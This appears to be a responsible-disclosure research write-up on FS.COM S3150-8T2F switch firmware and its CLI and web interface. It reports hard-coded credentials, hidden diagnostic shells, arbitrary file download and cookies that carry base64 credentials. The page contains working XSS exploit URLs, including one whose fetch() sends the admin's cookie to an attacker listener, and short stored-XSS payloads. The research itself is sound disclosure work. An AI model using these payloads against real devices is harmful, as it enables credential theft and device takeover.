-
Notifications
You must be signed in to change notification settings - Fork 0
Home
This publication details the initial high level findings from the early stages of assessment using the most basic of tools. A follow up paper on the lower level assessments and detailed reversing will be published in due course
The aim of this research was to identify security based issues within a range of switches manufactured by 'FS.COM Innovation LTD'. After working with several of the vendors enterprise level switches a number of quirks were noted within the web GUI administrative interface, CLI and firmware packaging that warranted further inspection under research conditions.
The vendor has a reputation for providing white labelled networking hardware, often at rates below that of comparable hardware from larger well know competitor brands.
The rationale for the research was to provide security based assurances on the use of the vendor's devices within corporate environments by conducting a series of targeted research projects that focused on the following areas of interest:
- Raw Firmware
- CLI administration interface
- Web based administrative GUI
The target device used for this initial piece of research was a model from the vendors entry level range: S3150-8T2F
The specifications from the device are outlined below and are take directly from the vendors page at the following URL:
https://www.fs.com/uk/products/163157.html
The firmware version used for this research was version 2.2.0D Build 118101. This was the current public release at the time of starting the research.
The current latest version of the firmware can be found on the vendors product page referenced above. In response to the findings in this paper being reported shortly after discovery, the vendor did release a patch for the majority of reported issues (version 2.2.0D_135103), however a number of key findings still exist that are detailed within this paper which the vendor noted during communication directly with us, would not be possible to address or were not willing to address in response to our disclosures.
The firmware provided directly from download off the vendors sits is a raw data file and has a file size of 4.9M, throughout this research it has been renamed to Switch.bin for ease of use.
Starting with a simple review of the firmware using binwalk we quickly see the tool has trouble with identifying anything meaningful within the firmware, there are no distinct file systems visible and we end up with what appears to be the detection of multiple 'RAR archives'.
These were confirmed manually in a hex editor by searching for magic bytes relating to the rar format (52 61 72 21 1A 07 00). Sure enough there were multiple hits on this that matched the number of binwalk findings. Each of these rar files extracted to a hard coded .Temp location (not a directory, a file).
Multiple attempts were made from here to extract the 'archives' using common compression/decompression tools, in the off chance these might be RAR files or even 'part' files that we could combine. We firstly attempted to join them as 'parts' and extract the resulting files using the following snippet as part of a larger script:
dd if=firmware.bin of=part_{offset}.rar bs=1 skip={offset} file part_${offset}.rar
This gave us a number of 'part' files that we hoped were linked. Attempts to unrar the files individually did actually work successfully confirming rar was indeed the compression type being used.
unrar x part_1.rar
This can be demonstrated in the following screenshot, note the extraction to the .temp file as well:
Attempts to automate decompression by assuming the carved files were elegantly linked failed, reading the output on matches for the magic bytes for rar signatures we can see there is a reference to rar and to an extraction location (.temp), but no CRC, size or other supporting data that would have helped binwalk or any other automated process to be able to handle this automatically.
Looking at the offset addresses in the binwalk output we next made an attempt to combine these chunks manually using dd, while this was never likely to give us a finished product, it might at least give us something readable and reversible as a starting point to work with that might come in useful later when we start testing against the CLI administration interface and Web based administrative GUI.
We ended up doing the following to take the chunks, unrar them before eventually combining them again on the off chance this might yield some insightful results:
for f in (ls chunk_*.rar | sort -V); do unrar p -inul "f" done > full_firmware.bin
This resulted in a 400mb file with spades of repetition noise which meant it was very difficult to read and was distinctly unusable, while this clearly was not the expected outcome it did give us some pointers.
When the full_firmware.bin file had been constructed, we once again ran binwalk over the resultant file:
As we can see this approach enabled binwalk to at least identify something more interesting. The first observation to make is that during this and other iterations of carving out the firmware, there was never a reference to a file system of any sort which was somewhat unusual; however reading the first line of output we get our first meaningful bit of information: 'VxWorks WIND kernel version 2.10'.
VxWorks is a real-time operating system (RTOS) that is popular in embedded systems due to it's speed and size, while this doesn't give us much to investigate directly outside of confirming it was not vulnerable to a number of the known and recent (2019) sets of vulnerabilities released including the URGENT/11 vulnerability (https://www.windriver.com/security/announcements/tcp-ip-network-stack-ipnet-urgent11), it did provide us with an explanation as to why there were not many references to file systems and other such common artefacts that we might expect to see in larger firmware samples.
The references to multiple 'rar' files in the original compressed binwalk output and the reference in the hex editor when searching for magic bytes all of a sudden made more sense when we did some further reversing on the start up operations of the firmware/switch. It appears to have a staged/modular approach to decompression that it makes use of during startup for the purposes of speed.
Given the devices size, type and realtek based chipset combined with VxWorks as a base OS, it is feasible that these devices use flash storage on the hardware rather than a recognisable file system for storage of data, which may help explain some of the results thus far and also gives us some valuable information as to potential locations for credential storage and CLI/Web access management; aside from the obvious flash storage goldmine potential, there is a patchy history of hard coding sensitive data into the firmware as a way of short cutting more secure methods of authentication when using an RTOS, so this would be an area of focus for us.
Some quick searches using the strings tool revealed some highly repetitive data for whatever interesting string we searched for, this looked like a bit of an issue with how we were decompressing and reconstructing the data, and indeed on closer inspection it would seem that we had repeating references to the same sections in a multitude of cases.
....snip....
13033588 0xC6E074 VxWorks WIND kernel version 2.10
33197524 0x1FA8DD4 VxWorks WIND kernel version 2.10
....snip....
With the understanding this was likely more of a staged/modular process of unpacking we went back to the start and simply ran 'unrar' on the original compressed file which resulted in a clean 20mb file that had none of the repetition and actually loaded successfully in a decompiler. A bit of a round trip to get to something quite simple, I wish we did that sooner..but the context was important and it led us to look at how the firmware and switch decompress on startup, which is valuable insight.
We could now return to our strings commands to do some further analysis and gather further data that may be of use later on, at this point it is largely educated guess work to begin uncovering interesting data. Personally i tend to start with my end goals and work backwards, as such I look for evidence or suggestion of the presence of:
- Flash memory locations
- Hidden modes/features
- Shell presence
strings -t x kernel.bin | grep <search>
There are obviously thousands of interesting strings one can search for that would yield interesting data, however without context the results might not always jump out at you and it is very easy at this stage to get carried away. So for now I stick to basics to get a lay of the land:
We start with a quick check for details on potential shell access routes:
The top result here is quite telling, and looks like we might have reference to a Realtek diagnosis shell, this might make for a good target later on, but for now gives us another thing to confirm:
As we can see, this device is pretty realtek heavy as suspected. The top result again making reference to a 'realtek shell mode'. I was curious as to what 'inter' meant, It's not something I could find reference to but I suspected it might be a typo and perhaps meant to read 'enter'.
Next up I checked for other evidence of a 'diagnosis' type of interface/mode:
Again we get some nice hits here that not only give us commands to run on the CLI but also the command descriptions. The reference to a diagnosis 'mode' in particular points toward this having potential to be some form of factory/vendor access.
Beyond this, there seemed to be a number of references to certificates and private keys throughout the binary that we observed in our binwalk output. We wrote a small script in python to search through any offsets where these were identified to extract and then move them to a new directory for inspection:
This resulted in 6 visible and complete PEM files. Several of these pairs appear to be used simply for signing purposes, others are for default HTTPs connectivity. We were hopeful some of these might be usable for authentication either to SSH or similar services but attempts to reuse any of these keys for any such purposes failed repeatedly.
One PEM file did have an identity field filled out (the others did not) that hinted at it's use in MQTT communications, the client certificate here would indicate it's use for authentication by an MQTT client to a server service.
It seems on startup this might be used for MQTT communication to an endpoint (www.bdcom.com.cn), which would be a somewhat dangerous practice, the firmware reversing indicated the key may be being used in similar address space to that of the MQTT service and with references to www.bdcom.com.cn. However, on startup and through an extended period (1 week) of monitoring, not evidence could be found of the switch actually calling out to this location.
It is suspected this is either a false positive or part of a place holder configuration that doesn't actually ever get called or used in this model.
When reviewing the decompressed full_firmware.bin file with strings, one of the early data gathering strings we searched for was 'bdcom'.
FS.com are known to whitelabel such hardware so we suspected this might make for an interesting initial search term:
There are some interesting bits of data here for us to note, immediately the following result appeared of interest:
jishenzhou2!@#$@#%$^$%^&)(&(_+ajsdluasdb5nq457q67bdcomqm8v67vq486zhaominzheng1$%@#$%@^$%&$%^*^&GH^&^&#$#@$DSSGFHGJHCSdgerdsunxi0
At a guess, these appear to be username strings of some sort, if we clear it up we get the following potentials:
- jishenzhou
- zhaominzheng
- bdcom
- sunxi0
All these seemed likely candidates for further research, but why were they there? The lack of structure, its location and any other accompanying detail seemed odd, so maybe not an operating system user.
In light of this we wrote a script to get the offset of this data and also grab whatever was around it in case that revealed any clues as to it's purpose.
`offset=331948
context=...........core_dump_write_crashInfo_cb....core_dump_write_misc_cb.........core_dump_period_log....core_dump_write_log_cb..jishenzhou2!@#$@#%$^$%^&)(&(_+ajsdluasdb5nq457q67bdcomqm8v67vq486zhaominzheng1$%@#$%@^$%&$%^*^&GH^&^&#$#@$DSSGFHGJHCSdgerdsunxi0...........................................................................................................................`
The references to core_dump_write and core_dump_log_write here could be a clue. Perhaps a coredump log included within the firmware at the point of build. We ran a series of tests with these usernames from here in the hope some of these may be recognised accounts that we could authenticate to SSH or Telent etc with, but once again these efforts were fruitless.
Also of note was the following result:
1fde08 bdcom312
This looks for all the world like a password of some sort, perhaps for the earlier identified bdcom user? again this proved to be fruitless and for now anyway, it's purpose remains a bit of a mystery as it was not referenced by any other parts of the firmware during reversing.
SSH access to the host will be very familiar to anyone who has ever configured a switch. The commands feel very much aligned with Cisco IOS in places and on entry using the default admin/admin credentials we are presented with a simple basic level of menu:
I wondered if we could get to the previously identified diagnosis or realtek shells from this menu, however both were 'unknown commands' from here and the vendors documentation did not have any reference to their existence either.
Elevating our priviledges with 'enable' drops us into a much more interesting location with more features:
What we see here immediately is a reference to helpful commands such as more and dir by the descriptions we can see these might help us identify what is being stored locally:
First we tried extracted these to an external FTP server for review, there is a handy built in command called copy that provides such functionality:
While this allowed us to copy off the startup-config, it prevented us copying out things like the Switch.bin and web.wrp files due to issues with file permissions.
There is another issue here that those with a keen eye may have spotted:
The files listed via the dir command are numbered. But, where are numbers 2 and 3!?. The assumption here is there may be some protected or sensitive files lurking here the vendor does not really want us to find, but there was no visible/legitimate way of listing these files directly.
However, by using the copy command once again, there is an option to copy files from flash memory, and by appending a ? to the end of the command it turns out we can get a full directory listing, including the hidden files!
At this point in time however, we should note that copy still prevents us from extracting these files. We will come back to this later, but as a baseline, this gives us a really good starting point; if we have file names and locations, this means when/if we uncover more issues that allow us to access these files, we at least have something to aim at.
Lets now turn our attention back to the two 'shell' features we noted right at the start that we unearthed through our series of string commands. The first was a realtek shell that is not documented in the vendors documentation, nor is it noted within help command ? for any level of user it seems.
What we did have access to was the diagnosis command. There is no reference to this within the CLi reference guide or other documentation from the vendor, there are references to diagnosis controls but not this mysterious command directly. If we add the help ? to the end it suddenly gets very interesting!
From this output seemingly the diagnosis command is expecting a password, we tried all the default ones we had as well as all the strings we had already extracted with no success. so this clearly needed some further investigation.
We wrote a little regex to search for any strings in the firmware dump that would match the suggested pattern in the help menu, and widened it a little as it was likely just an example, we chose to start the search with the help menus suggested 6 delimited segments and went up to 10 just in case.
strings kernel.bin | grep -E '^[a-zA-Z0-9]+(:[a-zA-Z0-9]+){5,9}$'
The results were interesting:
If we cross reference this string in a hex editor as its a bit easier to see the whole picture, we can see its pretty close to the sections of firmware that control the diagnosis mode as well and is most likely to be a hard coded password.
If we then use that password to authenticate to the diagnosis mode as per the help commands instructions, we get dropped into a diagnostics shell which retains much of the functionality as before, but with a large number of added extra features:
While this gives us total control over the device, it also exposes some of the hidden functionality we saw referenced right at the start, the much sought after realtek shell mode!
Jumping into this mode gives us yet more control of the fundamental bare bones of the device, the prompt you may note tallies directly with out initial strings output too:
While this is less than ideal, we should note this is behind several layers of authentication, even if the final layer's credentials are totally exposed by some really simple string commands, the most we can achieve here thus far is enumeration of files on the operating system and gain access to an undocumented and hidden set of diagnostic low level shells.
Moving on to the Web based administrative GUI we are presented with a very simplistic dashboard, we used the admin/admin defaults here to authenticate just to get a lay of the land:
One of the first pages of note is the 'System Management' page named ios.asp. This is used to backup files and update the system:
As you may note the Switch.bin filename has an attribute set to readonly. This sets alarm bells ringing almost immediately, so we open up burpsuite, intercept the POST request and immediately note the structure of the request, there is a lot going on here to be concerned about, but one thing at a time!
We found that simply changing the value of the file_name variable here to any other file stored in flash memory would result in us being able to download said file. This included the 'protected' files we noted earlier on. The earlier filename enumeration via the CLI was vital to uncovering this and a good reason why we gave that some time before returning attention to the web application front end.
Again those with a keen eye will have noted the Cookie value:
Cookie: username=YWRtaW4=; password=YWRtaW4=; GSESSIONID=2F5642352C2C7C5C535C528644
It turns out this cookie is sent within every single POST request to the server. The username and password values here are obvious base64 encoded strings which when decoded read:
username=admin; password=admin;
It is somewhat difficult to come up with a valid justification for this approach to authentication. It appears to be done to maintain a stateless, simple authentication mechanism, in particular when you consider the lack of file system, resources and device class. But with that said, even on a limited real time OS (RTOS) based device there are better options to introducing a proper server-side session based authentication mechanisms.
The approach taken by the vendor exposes the device to a wide range of attacks; the requests are trivially re-playable, the credentials will be exposed in transit and should there happen to be further vulnerabilities uncovered such as Cross Site Scripting, the insufficient headers being set would mean this is data could easily be mined direct from the browser.
Let's hope we don't find any cross site scripting vulnerabilities.
An unauthenticated reflected cross-site scripting vulnerability was discovered in the /logo.asp page of the admin web interface. When making a GET request to /logo.asp, the parameters 'button' and 'button_url' were used to populate certain buttons within the page in the response. The input from these parameters was not sanitised or rejected when containing dangerous characters, therefore was reflected in the page response verbatim, allowing HTML and script code to be supplied to these, which would then execute in the resulting page. A malicious user could prepare a link with code included in the parameters, which, when clicked, would execute for an unsuspecting victim visitor, leading to remote code execution, data modification and exfiltration.
Assuming a vulnerable device is using the IP '192.168.1.1', this example will trigger an 'alert' box with the contents of the current user's cookie to be displayed:
http://192.168.1.1/logo.asp?button=AndyCookieTheft%22%3C/script%3E%3C/head%3E%3Cbody%3E%3Cscript%3Ealert(document.cookie);a=%22&button_url=/assist.asp
This is a practical Proof of Concept in which the vulnerability is weaponised to exfiltrate the victim user's cookie, containing an authenticated user's admin portal credentials (to an attacker-controlled HTTP listener at 192.168.1.10 port 80):
http://192.168.1.1/logo.asp?button=AndyCookieTheft%22%3C/script%3E%3C/head%3E%3Cbody%3E%3Cscript%3Efetch(%27http://192.168.1.10/?cookie=%27+document.cookie,%20{%20method:%20%27POST%27,%20mode:%20%27no-cors%27,%20body:document.cookie%20});a=%22&button_url=/assist.asp
As we can see here, the injected alert box contains all details from within our earlier POST request:
And below the resulting code being injected into the page for rendering:
And finally, catching the resulting call back to a simple netcat listener on the 192.168.1.10 host.
While reflected Cross Site Scripting is bad, let's hope we don't also find Stored Cross Site Scripting.
The application was found to be vulnerable to Stored Cross-Site Scripting (XSS) in the Time Range Configuration functionality of the administration interface. An attacker can inject malicious JavaScript into the "Time Range Name" field, which is improperly sanitised.
When this input is saved, it is later executed in the browser of any user accessing the affected page, including administrators, resulting in arbitrary script execution in the user's browser.
Stored XSS is particularly severe because the malicious payload persists on the server and is triggered for multiple users, leading to widespread impact such as:
- Account Compromise: Session cookie extraction, allowing account takeover, as previously demonstrated.
- Data Exposure: Sensitive information, including administrative credentials or configuration data.
- Malicious Actions: Scripts could perform unauthorised actions, modify settings, or load external malicious libraries.
- Widespread Exploitation: Any user with access to the vulnerable page could potentially be impacted.
Steps To Reproduce:
-
Login to console http://192.168.xx.xxx/timerangelist.asp
-
Go to Advanced -> Time Range Configuration -> Add
-
Inside Time range Name textbox enter payload
<svg/onload=alert>`` -
Click Apply.
There was found to be a hard limit of 20 chars in this text box, however this can trivially be bypassed by loading an external file with something like:
<img/src=//test.ab>
A stored cross-site scripting vulnerability also exists within this particular model, which allows an authenticated web interface user to bypass input filtering on user names, and stores un-sanitized HTML and Javascript on the device.
Pages which then present the user name without encoding special characters will then cause the injected code to be parsed by the browsers of other users accessing the web interface.
The vulnerability was only tested and verified on the FS S3150-8T2F switch, running firmware s3150-8t2f-switch-fsos-220d_118101 and web firmware v2.2.2, so whether it exists on older versions of the firmware or other models of the hardware is unknown.
Discovered November 2024
References:
There are still a number of outstanding items to review, a lot of keys were recovered from inside the firmware and although some of these look like replication and defaults, we want to go a little further in proving these cannot be reused for malicious purposes.
The protected file we uncovered was extracted for analysis, there is a cleartext line at the top that references the 'default-config' but outside of that, the text appears to be encrypted; it will take some further in depth reversing to work out this files purpose and contents long term.
Toward the end of the initial research we also searched for the following not expecting it to return anything:
└─$ strings -t x kernel.bin | grep backdoor
However, it did return something which could be totally innocent, but what is more interesting, is once again there is no reference to this feature:
There is also an 'Update' feature on the web GUI, which looks like it can be manipulated in a similar way to our backup vulnerability; but instead be used to publish something to the OS. I have purposefully left this to last because frankly it might brick the device if it doesn't do what we suspect it might!
At the current moment in time, all vulnerabilities and findings within this article have been reported to the vendor with the following CVE numbers being assigned to some of the more impactful findings:
CVE-2025-25612, CVE-2025-25613 and CVE-2025-25625